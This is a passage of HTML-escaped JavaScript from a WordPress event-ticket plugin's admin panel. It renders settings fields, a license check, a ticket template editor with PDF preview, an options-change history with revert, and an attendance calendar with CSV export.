					if (typeof v._do_not_trim !== &quot;undefined&quot; &amp;&amp; v._do_not_trim) {
					} else {
						value = (&quot;&quot;+v.value) !== &quot;&quot; ? (&quot;&quot;+v.value).trim() : &quot;&quot;+v.default;
					}

					v.label = v.label + &#039; &lt;span style=&quot;color:grey;&quot;&gt;{&#039;+v.key+&#039;}&lt;/span&gt;&#039;;
					if (typeof v._doc_video !== &quot;undefined&quot; &amp;&amp; v._doc_video != &quot;&quot;) {
						v.label += &#039; &lt;span class=&quot;dashicons dashicons-external&quot;&gt;&lt;/span&gt; &lt;a href=&quot;&#039;+v._doc_video+&#039;&quot; target=&quot;_blank&quot;&gt;Video Help&lt;/a&gt;&#039;;
					}

					switch (v.type) {
						case &quot;editor&quot;:
							elem_input = $(&#039;&lt;div id=&quot;&#039;+v.key+&#039;_editor&quot; style=&quot;height:&#039;+(typeof v.additional !== &quot;undefined&quot; &amp;&amp; typeof v.additional.height !== &quot;undefined&quot; ? v.additional.height : &#039;500px&#039;)+&#039;;&quot;&gt;&#039;).text(value.trim());
							break;
						case &quot;textarea&quot;:
							elem_input = $(&#039;&lt;textarea&gt;&#039;);
							elem_input.attr(&quot;placeholder&quot;, v.default);
							//elem_input.val(value);
							elem_input.val(value);
							if (typeof v.additional !== &quot;undefined&quot; &amp;&amp; typeof v.additional.rows !== &quot;undefined&quot;) {
								elem_input.attr(&quot;rows&quot;, v.additional.rows);
							}
							break;
						case &quot;checkbox&quot;:
							v.value = intval(v.value);
							elem_input.prop(&quot;checked&quot;,v.value === 1 ? true : false);
							elem_input.on(&quot;change&quot;, function(){
								_makePost(&#039;changeOption&#039;, {&#039;key&#039;:v.key, &#039;value&#039;:elem_input[0].checked ? 1:0});
							});
							elem_div.html(elem_input).append(v.label).append(v.desc !== &quot;&quot; ? &#039;&lt;br&gt;&lt;i&gt;&#039;+v.desc+&#039;&lt;/i&gt;&#039;:&#039;&#039;);
							break;
						case &quot;number&quot;:
							if (typeof v.additional.min !== &quot;undefined&quot;) elem_input.attr(&quot;min&quot;, v.additional.min);
							break;
						case &quot;dropdown&quot;:
							elem_input = $(&#039;&lt;select&gt;&#039;);
							if (v.additional.multiple) {
								elem_input.prop(&quot;multiple&quot;, true);
							}
							v.additional.values.forEach(_v=&gt;{
								$(&#039;&lt;option&gt;&#039;).attr(&quot;value&quot;, _v.value).html(_v.label).appendTo(elem_input);
							});
							if (v.additional.multiple) {
								if (v.value.length == 0) {
									value = v.default;
								} else {
									value = v.value;
								}
							} else {
								if (value == &quot;&quot;) value = 1;
							}
							elem_input.val(value);
							break;
						case &quot;media&quot;:
							let image_info = $(&#039;&lt;div&gt;&#039;);
							let image = $(&#039;&lt;image style=&quot;display:none;&quot;&gt;&#039;);
							let image_btn_del = $(&#039;&lt;button class=&quot;sngmbh_btn sngmbh_btn-delete&quot; style=&quot;display:none;&quot;&gt;&#039;).html(_x(&#039;Remove file&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
							image_btn_del.on(&#039;click&#039;, ()=&gt;{
								LAYOUT.renderYesNo(_x(&#039;Remove file&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Do you really want to remove the file information from this option?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), ()=&gt;{
									elem_input.val(&quot;&quot;);
									elem_input.trigger(&quot;change&quot;);
									_renderMedia(0, v, image_info, image, image_btn_del);
								});
							});
							if (typeof v.additional == &quot;undefined&quot;) v.additional = {};
							if (v.additional.max) {
								if (v.additional.max.width) {
									image.css(&quot;max-width&quot;, v.additional.max.width+&#039;px&#039;);
								}
								if (v.additional.max.height) {
									image.css(&quot;max-height&quot;, v.additional.max.height+&#039;px&#039;);
								}
							}
							elem_input.attr(&quot;type&quot;, &quot;hidden&quot;);
							let image_btn_add = $(&#039;&lt;button style=&quot;display:block;&quot; /&gt;&#039;).addClass(&quot;button-primary&quot;)
										.html(v.additional.button)
										.on(&quot;click&quot;, ()=&gt;{
											let is_multiple = typeof v.additional.is_multiple != &quot;undefined&quot; ? v.additional.is_multiple : false;
											let imgContainer = null;
											let type_filter = typeof v.additional.type_filter != &quot;undefined&quot; ? v.additional.type_filter : null;
											_openMediaChooser(elem_input, is_multiple, imgContainer, type_filter);
										});
							$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
								.html(v.label+&#039;&lt;br&gt;&#039;)
								.append(image_btn_add)
								.append(v.desc !== &quot;&quot; ? &#039;&lt;i&gt;&#039;+v.desc+&#039;&lt;/i&gt;&#039;:&#039;&#039;)
								.append(elem_input)
								.append(image_info)
								.append(image)
								.append(image_btn_del)
								.appendTo(elem_div);
							_renderMedia(value, v, image_info, image, image_btn_del);
							pcbf = function() {
								image_info.html(_getSpinnerHTML());
								image.css(&#039;display&#039;, &#039;none&#039;);
							}
							cbf = function () {
								let value = elem_input.val();
								_renderMedia(value, v, image_info, image, image_btn_del);
							}
							break;
					}

					if (v.type != &quot;checkbox&quot;) {
						if (v.type != &quot;media&quot;) {
							elem_div.html(v.label+&#039;&lt;br&gt;&#039;).append(elem_input);
							let desc = v.desc+&quot; &quot;;
							if (typeof v._do_not_trim !== &quot;undefined&quot; &amp;&amp; v._do_not_trim) {
								desc += &#039;To leave this value blank, enter a space. &#039;;
							}
							desc = desc.trim();
							elem_div.append(desc !== &quot;&quot; ? &#039;&lt;br&gt;&lt;i&gt;&#039;+desc+&#039;&lt;/i&gt;&#039;:&#039;&#039;);
						}
						if (v.type != &quot;number&quot; &amp;&amp; v.type != &quot;color&quot;) {
							elem_input.css({&quot;width&quot;:&quot;90%&quot;});
						}
						if (v.type != &quot;dropdown&quot; &amp;&amp; v.type != &quot;editor&quot;) {
							elem_input.attr(&quot;value&quot;,value);
						}
						if (v.type != &quot;editor&quot;) {
							elem_input.on(&quot;change&quot;, ()=&gt;{
								let value = elem_input.val();
								_saveOptionValue(v.key, value, cbf, pcbf);
							});
						}
					}

					elem_input.attr(&quot;data-key&quot;, v.key);

					if (v.key == &quot;serial&quot;) {
						let serialStatusSpan = $(&#039;&lt;span style=&quot;margin-left:10px;&quot;&gt;&#039;);
						let serialCheckBtn = $(&#039;&lt;button class=&quot;button button-secondary&quot; style=&quot;margin-left:5px;&quot;&gt;&#039;).html(__(&#039;Check License&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
						serialCheckBtn.on(&#039;click&#039;, function(e) {
							e.preventDefault();
							serialCheckBtn.prop(&#039;disabled&#039;, true).html(__(&#039;Checking...&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
							serialStatusSpan.html(&#039;&#039;);
							_makePost(&#039;recheckLicense&#039;, {}, function(result) {
								serialCheckBtn.prop(&#039;disabled&#039;, false).html(__(&#039;Check License&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
								if (result) {
									let color = result.active ? &#039;green&#039; : &#039;red&#039;;
									let label = result.active ? __(&#039;Active&#039;, &#039;event-tickets-with-ticket-scanner&#039;) : __(&#039;Inactive&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
									if (result.subscription_type === &#039;lifetime&#039;) label += &#039; (Lifetime)&#039;;
									serialStatusSpan.html(&#039;&lt;span style=&quot;color:&#039;+color+&#039;;font-weight:bold;&quot;&gt;&#039;+label+&#039;&lt;/span&gt;&#039;);
									if (result.consecutive_failures &gt; 0) {
										serialStatusSpan.append(&#039; — &#039;+result.consecutive_failures+&#039; &#039;+__(&#039;failures&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
									}
								}
							}, function() {
								serialCheckBtn.prop(&#039;disabled&#039;, false).html(__(&#039;Check License&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
								serialStatusSpan.html(&#039;&lt;span style=&quot;color:red;&quot;&gt;&#039;+__(&#039;Error&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&#039;);
							});
						});
						elem_div.append(serialCheckBtn).append(serialStatusSpan);
					}

					if (v.key == &quot;wcassignmentUseGlobalSerialFormatter&quot;) {
						let option = __getOptionByKey(&#039;wcassignmentUseGlobalSerialFormatter_values&#039;);
						let formatterValues = null;
						if (option.value != &quot;&quot;) {
							try {
								formatterValues = JSON.parse(option.value);
							} catch (e) {
								//console.log(e);
							}
						}
						let extra_div = $(&#039;&lt;div&gt;&#039;).appendTo(elem_div).css(&quot;margin-top&quot;, &quot;10px&quot;).css(&quot;margin-left&quot;, &quot;50px&quot;).css(&quot;padding&quot;, &quot;10px&quot;).css(&quot;border&quot;, &quot;1px solid black&quot;);
						// render here den formatter
						let serialCodeFormatter = _form_fields_serial_format(extra_div);
						serialCodeFormatter.setNoNumberOptions();
						serialCodeFormatter.setFormatterValues(formatterValues);
						serialCodeFormatter.setCallbackHandle(_formatterValues=&gt;{
							// speicher formatterValues
							_makePost(&#039;changeOption&#039;, {&#039;key&#039;:&#039;wcassignmentUseGlobalSerialFormatter_values&#039;, &#039;value&#039;:JSON.stringify(_formatterValues)});
						});
						serialCodeFormatter.render();
					}

					if (v.key == &quot;wcTicketDesignerTemplate&quot;) {
						$(&#039;&lt;button class=&quot;button button-primary&quot;&gt;&#039;).html(&quot;Show Default Template&quot;).on(&quot;click&quot;, e=&gt;{
							LAYOUT.renderInfoBox(_x(&#039;Ticket Default Template&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), $(&#039;&lt;textarea style=&quot;width:100%;height:400px&quot;&gt;&#039;).val(v.default));
						}).appendTo(div_options);
					}

					if (v.type == &quot;editor&quot;) {
						//https://ace.c9.io/#nav=howto
						let btn_group = $(&#039;&lt;div&gt;&#039;).prependTo(elem_div);
						editor[v.key+&quot;_editor&quot;] = null; // will be filled later
						editor[v.key+&quot;_btn&quot;] = $(&#039;&lt;button class=&quot;button button-primary&quot;&gt;&#039;).prop(&quot;disabled&quot;, true).html(_x(&#039;Save Template Code&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, evt=&gt;{
							let value = editor[v.key+&quot;_editor&quot;].getValue().trim();
							_saveOptionValue(v.key, value, cbf, pcbf);
							editor[v.key+&quot;_btn&quot;].prop(&quot;disabled&quot;, true);
						}).appendTo(btn_group);
						$(&#039;&lt;button class=&quot;button button-danger&quot;&gt;&#039;).html(_x(&#039;Copy Template Code To Live Code&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, evt=&gt;{
							LAYOUT.renderYesNo(_x(&#039;Replace Live Template Code&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Do you want to replace the live template code with the template code from the test?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), ()=&gt;{
								let value = editor[v.key+&quot;_editor&quot;].getValue().trim();
								$(&#039;input[data-key=&quot;&#039;+v.key.replace(&quot;Test&quot;, &quot;&quot;)+&#039;&quot;&#039;).val(value).trigger(&quot;change&quot;);
								if (v.key == &quot;wcTicketDesignerTemplateTest&quot;) {
									$(&#039;input[data-key=&quot;wcTicketPDFZeroMargin&quot;&#039;).prop(&quot;checked&quot;,$(&#039;input[data-key=&quot;wcTicketPDFZeroMarginTest&quot;&#039;).is(&#039;:checked&#039;)).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketPDFFullBleed&quot;&#039;).prop(&quot;checked&quot;,$(&#039;input[data-key=&quot;wcTicketPDFFullBleedTest&quot;&#039;).is(&#039;:checked&#039;)).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketPDFisRTL&quot;&#039;).prop(&quot;checked&quot;,$(&#039;input[data-key=&quot;wcTicketPDFisRTLTest&quot;&#039;).is(&#039;:checked&#039;)).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketSizeWidth&quot;&#039;).val($(&#039;input[data-key=&quot;wcTicketSizeWidthTest&quot;&#039;).val()).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketSizeHeight&quot;&#039;).val($(&#039;input[data-key=&quot;wcTicketSizeHeightTest&quot;&#039;).val()).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketQRSize&quot;&#039;).val($(&#039;input[data-key=&quot;wcTicketQRSizeTest&quot;&#039;).val()).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketPDFBackgroundColor&quot;&#039;).val($(&#039;input[data-key=&quot;wcTicketPDFBackgroundColorTest&quot;&#039;).val()).trigger(&quot;change&quot;);
								}
							});
						}).appendTo(btn_group);

						if (v.key == &quot;wcTicketDesignerTemplateTest&quot;) {
							let ticket_test_chooser = $(&#039;&lt;div&gt;&#039;);
							let ticket_template_chooser = $(&#039;&lt;div style=&quot;padding-top:5px;padding-bottom:20px;&quot;&gt;&#039;).html(&#039;&lt;b&gt;Templates&lt;/b&gt;&lt;br&gt;You can choose from the templates below to have a starting point.&lt;br&gt;&#039;).appendTo(ticket_test_chooser);
							let ticket_test_select = $(&#039;&lt;select&gt;&#039;).appendTo(ticket_test_chooser);
							let ticket_test_direct_input = $(&#039;&lt;input type=&quot;text&quot; style=&quot;width:180px;&quot; placeholder=&quot;or enter a public ticket number&quot;&gt;&#039;);
							// display the template thumbnails
							for(let a=0;a&lt;reply.ticket_templates.length;a++) {
								let ticket_template = reply.ticket_templates[a];
								__createTicketTemplateChooserBox(ticket_template, editor).appendTo(ticket_template_chooser);
							}

							if (OPTIONS.tickets_for_testing.length &gt; 0) {
								let option_values = [];
								for(let a=0;a&lt;OPTIONS.tickets_for_testing.length;a++) {
									let ticket = OPTIONS.tickets_for_testing[a];
									let metaObj = null;
									try {
										metaObj = JSON.parse(ticket.meta);
									} catch(e) {}
									if (metaObj != null) {
										option_values.push({t:ticket, m:metaObj});
									}
								}
								if (option_values.length &gt; 0) {
									for(let a=0;a&lt;option_values.length;a++) {
										let item = option_values[a];
										$(&#039;&lt;option value=&quot;&#039;+item.m.wc_ticket._public_ticket_id+&#039;&quot;&gt;&#039;)
											.text(&quot;Order Id: &quot;+item.t.order_id+&quot; - &quot;+item.m.wc_ticket._public_ticket_id+&quot; - &quot;+item.t._PRODUCT_NAME+&quot; (#&quot;+item.m.woocommerce.product_id+&quot;)&quot;)
											.attr(&quot;data-url-pdf&quot;, item.m.wc_ticket._url)
											.appendTo(ticket_test_select);
									}
									ticket_test_direct_input.appendTo(ticket_test_chooser);
									$(&#039;&lt;button class=&quot;button button-primary&quot; id=&quot;wcTicketDesignerTemplateTest_button_PDF&quot;&gt;&#039;)
										.html(__(&#039;Preview Test Template Code as PDF&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).
										appendTo(ticket_test_chooser).on(&quot;click&quot;, ()=&gt;{
											let ticket_url = ticket_test_select.find(&quot;:selected&quot;).attr(&quot;data-url-pdf&quot;);
											let v = ticket_test_direct_input.val().trim();
											if (v != &quot;&quot;) {
												ticket_url = reply.infos.ticket.ticket_base_url + v; // myAjax.ticket_base_url
											}
											iframe.attr(&quot;src&quot;, ticket_url+&#039;?pdf&amp;testDesigner=1&amp;t=&#039;+time()+&#039;&amp;nonce=&#039;+DATA.nonce);
											iframe
												.css(&quot;width&quot;, &quot;80%&quot;)
												.css(&quot;height&quot;, &quot;500px&quot;)
												.css(&quot;margin-top&quot;, &quot;10px&quot;)
												.css(&quot;display&quot;, &quot;block&quot;);
										});
									let iframe = $(&#039;&lt;iframe style=&quot;display:none;&quot;&gt;&#039;).appendTo(ticket_test_chooser);
								} else {
									$(&#039;&lt;option value=&quot;&quot;&gt;&#039;).text(__(&quot;ticket cannot be used. Public Ticket Id missing.&quot;,&#039;event-tickets-with-ticket-scanner&#039;)).appendTo(ticket_test_select);
								}
							} else {
								$(&#039;&lt;option value=&quot;&quot;&gt;&#039;).text(__(&quot;no ticket for preview available&quot;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(ticket_test_select);
							}
							ticket_test_chooser.appendTo(elem_div);
						}
					}

					elem_div.appendTo(div_options);
				}
			});
			__renderContextSuggestions(div_options);
			if (window.location.hash != &quot;&quot;) {
				window.setTimeout(()=&gt;{
					let h = window.location.hash;
					window.location.hash = &quot;&quot;;
					window.location.hash = h;
				}, 250);
			}
			window.setTimeout(()=&gt;{
				for(var k in editor) {
					if (k.substring(k.length -7) == &quot;_editor&quot;) {
						editor[k] = ace.edit(k);
						//editor.wcTicketDesignerTemplateTest_editor.setTheme(&quot;ace/theme/monokai&quot;);
						editor[k].session.setMode(&quot;ace/mode/twig&quot;);
						editor[k].setShowPrintMargin(false);
						editor[k].commands.addCommand({name:&#039;save&#039;, bindKey:{win:&#039;Ctrl-S&#039;, mac:&#039;Command-S&#039;}, readOnly:false, exec:myEditor=&gt;{
							myEditor.trigger(&quot;change&quot;);
						}});
						editor[k].session.on(&quot;change&quot;, delta=&gt;{
							editor[k.replace(&quot;_editor&quot;, &quot;_btn&quot;)].prop(&quot;disabled&quot;, false);
						});
					}
				}
			}, 250)

			function __renderTabelleOptionsHistory(container) {
				container.html(&#039;&#039;);
				let tabelle_history_datatable;
				let table_id = myAjax.divPrefix+&#039;_tabelle_options_history&#039;;

				$(&#039;&lt;div style=&quot;text-align:right;margin-bottom:10px;&quot;&gt;&#039;)
					.append($(&#039;&lt;button&gt;&#039;).html(__(&#039;Refresh table&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).addClass(&quot;button-secondary&quot;).on(&quot;click&quot;, ()=&gt;{
						tabelle_history_datatable.ajax.reload();
					}))
					.appendTo(container);

				let tabelle = $(&#039;&lt;table/&gt;&#039;).attr(&quot;id&quot;, table_id);
				tabelle.html(&#039;&lt;thead&gt;&lt;tr&gt;&#039;
					+&#039;&lt;th&gt;&lt;/th&gt;&#039;
					+&#039;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Date&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;
					+&#039;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Option&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;
					+&#039;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Old Value&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;
					+&#039;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;New Value&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;
					+&#039;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Changed By&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&#039;
					+&#039;&lt;th&gt;&lt;/th&gt;&#039;
					+&#039;&lt;/tr&gt;&lt;/thead&gt;&#039;);
				container.append(tabelle);

				$(tabelle).DataTable().clear().destroy();
				tabelle_history_datatable = $(tabelle).DataTable({
					&quot;responsive&quot;: true,
					&quot;searching&quot;: true,
					&quot;ordering&quot;: true,
					&quot;processing&quot;: true,
					&quot;serverSide&quot;: true,
					&quot;stateSave&quot;: false,
					&quot;pageLength&quot;: 25,
					&quot;ajax&quot;: {
						url: _requestURL(&#039;getOptionsHistory&#039;),
						type: &#039;POST&#039;,
					},
					&quot;order&quot;: [[ 1, &quot;desc&quot; ]],
					&quot;columns&quot;: [
						{&quot;data&quot;: null, &quot;className&quot;: &#039;details-control&#039;, &quot;orderable&quot;: false, &quot;defaultContent&quot;: &#039;&#039;, &quot;width&quot;: 10},
						{&quot;data&quot;: &quot;changed_at&quot;, &quot;orderable&quot;: true, &quot;width&quot;: 140},
						{&quot;data&quot;: &quot;option_key&quot;, &quot;orderable&quot;: true},
						{&quot;data&quot;: &quot;old_value&quot;, &quot;orderable&quot;: false, &quot;render&quot;: function(data) {
							if (data &amp;&amp; data.length &gt; 60) return &#039;&lt;span title=&quot;&#039;+destroy_tags(data)+&#039;&quot;&gt;&#039;+destroy_tags(data.substring(0, 60))+&#039;&amp;hellip;&lt;/span&gt;&#039;;
							return destroy_tags(data);
						}},
						{&quot;data&quot;: &quot;new_value&quot;, &quot;orderable&quot;: false, &quot;render&quot;: function(data) {
							if (data &amp;&amp; data.length &gt; 60) return &#039;&lt;span title=&quot;&#039;+destroy_tags(data)+&#039;&quot;&gt;&#039;+destroy_tags(data.substring(0, 60))+&#039;&amp;hellip;&lt;/span&gt;&#039;;
							return destroy_tags(data);
						}},
						{&quot;data&quot;: &quot;changed_by_name&quot;, &quot;orderable&quot;: true, &quot;width&quot;: 120, &quot;defaultContent&quot;: &quot;&quot;},
						{&quot;data&quot;: null, &quot;orderable&quot;: false, &quot;width&quot;: 80, &quot;render&quot;: function(data, type, row) {
							return &#039;&lt;button class=&quot;button button-small saso-revert-btn&quot; data-history-id=&quot;&#039;+row.id+&#039;&quot;&gt;&#039;+_x(&#039;Revert&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt;&#039;;
						}},
					]
				});
				tabelle.css(&quot;width&quot;, &quot;100%&quot;);

				// details-control: expand row to show full values
				$(&#039;#&#039;+table_id+&#039; tbody&#039;).on(&#039;click&#039;, &#039;td.details-control&#039;, e=&gt;{
					var tr = $(e.target).parents(&#039;tr&#039;);
					var row = tabelle_history_datatable.row(tr);
					if (row.child.isShown()) {
						row.child.hide();
						tr.removeClass(&#039;shown&#039;);
					} else {
						let d = row.data();
						row.child(
							&#039;&lt;div style=&quot;padding:5px 10px;&quot;&gt;&#039;
							+&#039;&lt;b&gt;&#039;+_x(&#039;Old Value&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt;&lt;pre style=&quot;white-space:pre-wrap;max-height:200px;overflow:auto;&quot;&gt;&#039;+destroy_tags(d.old_value)+&#039;&lt;/pre&gt;&#039;
							+&#039;&lt;b&gt;&#039;+_x(&#039;New Value&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt;&lt;pre style=&quot;white-space:pre-wrap;max-height:200px;overflow:auto;&quot;&gt;&#039;+destroy_tags(d.new_value)+&#039;&lt;/pre&gt;&#039;
							+&#039;&lt;/div&gt;&#039;
						).show();
						tr.addClass(&#039;shown&#039;);
					}
				});

				// revert button
				$(&#039;#&#039;+table_id+&#039; tbody&#039;).on(&#039;click&#039;, &#039;.saso-revert-btn&#039;, e=&gt;{
					let btn = $(e.target);
					let historyId = btn.data(&#039;history-id&#039;);
					let tr = btn.closest(&#039;tr&#039;);
					let row = tabelle_history_datatable.row(tr);
					let d = row.data();
					LAYOUT.renderYesNo(
						_x(&#039;Revert Option&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						sprintf(__(&#039;Revert option &quot;%s&quot; to its previous value?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), d.option_key),
						()=&gt;{
							_makePost(&#039;revertOption&#039;, {history_id: historyId}, function(result) {
								if (result) {
									_displayOptionsArea();
								}
							});
						}
					);
				});
			}

		});
	}

	// ── Attendance Area with Tabs (#236) ──

	function _displayAttendanceArea() {
		STATE = &#039;attendance&#039;;
		DIV.html(getBackButtonDiv());

		// Tab bar
		let tabBar = $(&#039;&lt;div style=&quot;display:flex;gap:0;margin-bottom:16px;border-bottom:2px solid #e5e7eb;&quot;&gt;&#039;).appendTo(DIV);
		let tabSold = $(&#039;&lt;button class=&quot;button&quot; style=&quot;border:none;border-bottom:2px solid var(--et-primary);margin-bottom:-2px;border-radius:0;font-weight:600;&quot;&gt;&#039;).html(_x(&#039;Sold Tickets&#039;, &#039;tab&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(tabBar);
		let tabRedemption = $(&#039;&lt;button class=&quot;button&quot; style=&quot;border:none;border-bottom:2px solid transparent;margin-bottom:-2px;border-radius:0;color:#666;&quot;&gt;&#039;).html(_x(&#039;Daily Redemption Summary&#039;, &#039;tab&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(tabBar);

		let tabContentSold = $(&#039;&lt;div&gt;&#039;).appendTo(DIV);
		let tabContentRedemption = $(&#039;&lt;div style=&quot;display:none;&quot;&gt;&#039;).appendTo(DIV);

		function switchTab(active) {
			if (active === &#039;sold&#039;) {
				tabSold.css({&#039;border-bottom-color&#039;:&#039;var(--et-primary)&#039;,&#039;color&#039;:&#039;&#039;,&#039;font-weight&#039;:&#039;600&#039;});
				tabRedemption.css({&#039;border-bottom-color&#039;:&#039;transparent&#039;,&#039;color&#039;:&#039;#666&#039;,&#039;font-weight&#039;:&#039;&#039;});
				tabContentSold.show();
				tabContentRedemption.hide();
			} else {
				tabRedemption.css({&#039;border-bottom-color&#039;:&#039;var(--et-primary)&#039;,&#039;color&#039;:&#039;&#039;,&#039;font-weight&#039;:&#039;600&#039;});
				tabSold.css({&#039;border-bottom-color&#039;:&#039;transparent&#039;,&#039;color&#039;:&#039;#666&#039;,&#039;font-weight&#039;:&#039;&#039;});
				tabContentRedemption.show();
				tabContentSold.hide();
			}
		}
		tabSold.on(&#039;click&#039;, () =&gt; switchTab(&#039;sold&#039;));
		tabRedemption.on(&#039;click&#039;, () =&gt; switchTab(&#039;redemption&#039;));

		// ── Tab 1: Sold Tickets Calendar ──
		_buildSoldTicketsTab(tabContentSold);

		// ── Tab 2: Daily Redemption Summary ──
		_buildRedemptionTab(tabContentRedemption);
	}

	function _buildSoldTicketsTab(container) {
		container.empty();

		let now = new Date();
		let calMonth = now.getMonth(); // 0-based
		let calYear = now.getFullYear();

		// ── Filter box ──
		let filterCard = $(&#039;&lt;div class=&quot;et-card&quot; style=&quot;padding:12px 16px;margin-bottom:16px;&quot;&gt;&#039;).appendTo(container);
		let productRow = $(&#039;&lt;div style=&quot;display:flex;align-items:center;gap:8px;flex-wrap:wrap;margin-bottom:8px;&quot;&gt;&#039;).appendTo(filterCard);
		productRow.append(&#039;&lt;strong style=&quot;margin-right:4px;&quot;&gt;&#039; + __(&#039;Products:&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/strong&gt;&#039;);
		let productCheckboxes = $(&#039;&lt;span style=&quot;display:inline-flex;gap:12px;flex-wrap:wrap;&quot;&gt;&#039;).appendTo(productRow);

		// Export row
		let today = now.toISOString().split(&#039;T&#039;)[0];
		let exportRow = $(&#039;&lt;div style=&quot;display:flex;gap:15px;align-items:flex-end;flex-wrap:wrap;&quot;&gt;&#039;).appendTo(filterCard);
		let div_from = _createDivInput(_x(&#039;Export from&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(exportRow);
		let input_from = $(&#039;&lt;input type=&quot;date&quot;/&gt;&#039;).val(today).css(&#039;padding&#039;,&#039;4px 8px&#039;).appendTo(div_from);
		let div_to = _createDivInput(_x(&#039;Export to&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(exportRow);
		let input_to = $(&#039;&lt;input type=&quot;date&quot;/&gt;&#039;).val(today).css(&#039;padding&#039;,&#039;4px 8px&#039;).appendTo(div_to);
		$(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-secondary&quot;).css({&#039;margin-bottom&#039;:&#039;15px&#039;}).html(&#039;&lt;span class=&quot;dashicons dashicons-download&quot; style=&quot;vertical-align:middle;margin-right:2px;&quot;&gt;&lt;/span&gt;&#039; + _x(&#039;Export CSV&#039;, &#039;button&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&#039;click&#039;, function() {
			let df = input_from.val(), dt = input_to.val();
			if (!df || !dt) return;
			window.open(_requestURL(&#039;downloadSoldTicketsCSV&#039;, {date_from: df, date_to: dt, exclude_products: getExcluded().join(&#039;,&#039;)}), &#039;_blank&#039;);
		}).appendTo(exportRow);

		// ── Calendar box ──
		let calCard = $(&#039;&lt;div class=&quot;et-card&quot; style=&quot;padding:16px;&quot;&gt;&#039;).appendTo(container);

		// Nav: « month year » [Refresh]
		let navRow = $(&#039;&lt;div style=&quot;display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;&quot;&gt;&#039;).appendTo(calCard);
		let navLeft = $(&#039;&lt;div style=&quot;display:flex;align-items:center;gap:8px;&quot;&gt;&#039;).appendTo(navRow);
		let btnPrev = $(&#039;&lt;button type=&quot;button&quot; class=&quot;button button-small&quot;&gt;&amp;laquo;&lt;/button&gt;&#039;).appendTo(navLeft);
		let monthLabel = $(&#039;&lt;strong style=&quot;min-width:140px;text-align:center;&quot;&gt;&#039;).appendTo(navLeft);
		let btnNext = $(&#039;&lt;button type=&quot;button&quot; class=&quot;button button-small&quot;&gt;&amp;raquo;&lt;/button&gt;&#039;).appendTo(navLeft);
		let btnRefresh = $(&#039;&lt;button type=&quot;button&quot; class=&quot;button button-secondary&quot;&gt;&lt;span class=&quot;dashicons dashicons-update&quot; style=&quot;vertical-align:middle;&quot;&gt;&lt;/span&gt;&lt;/button&gt;&#039;).appendTo(navRow);

		// Auto-refresh
		let autoRefreshDiv = $(&#039;&lt;div style=&quot;display:flex;align-items:center;gap:6px;&quot;&gt;&#039;).appendTo(navRow);
		autoRefreshDiv.append(&#039;&lt;span style=&quot;font-size:12px;color:#666;&quot;&gt;&#039; + __(&#039;Auto-refresh:&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/span&gt;&#039;);
		let autoRefreshSelect = $(&#039;&lt;select style=&quot;padding:2px 20px 2px 4px;font-size:12px;&quot;&gt;&#039;).appendTo(autoRefreshDiv);
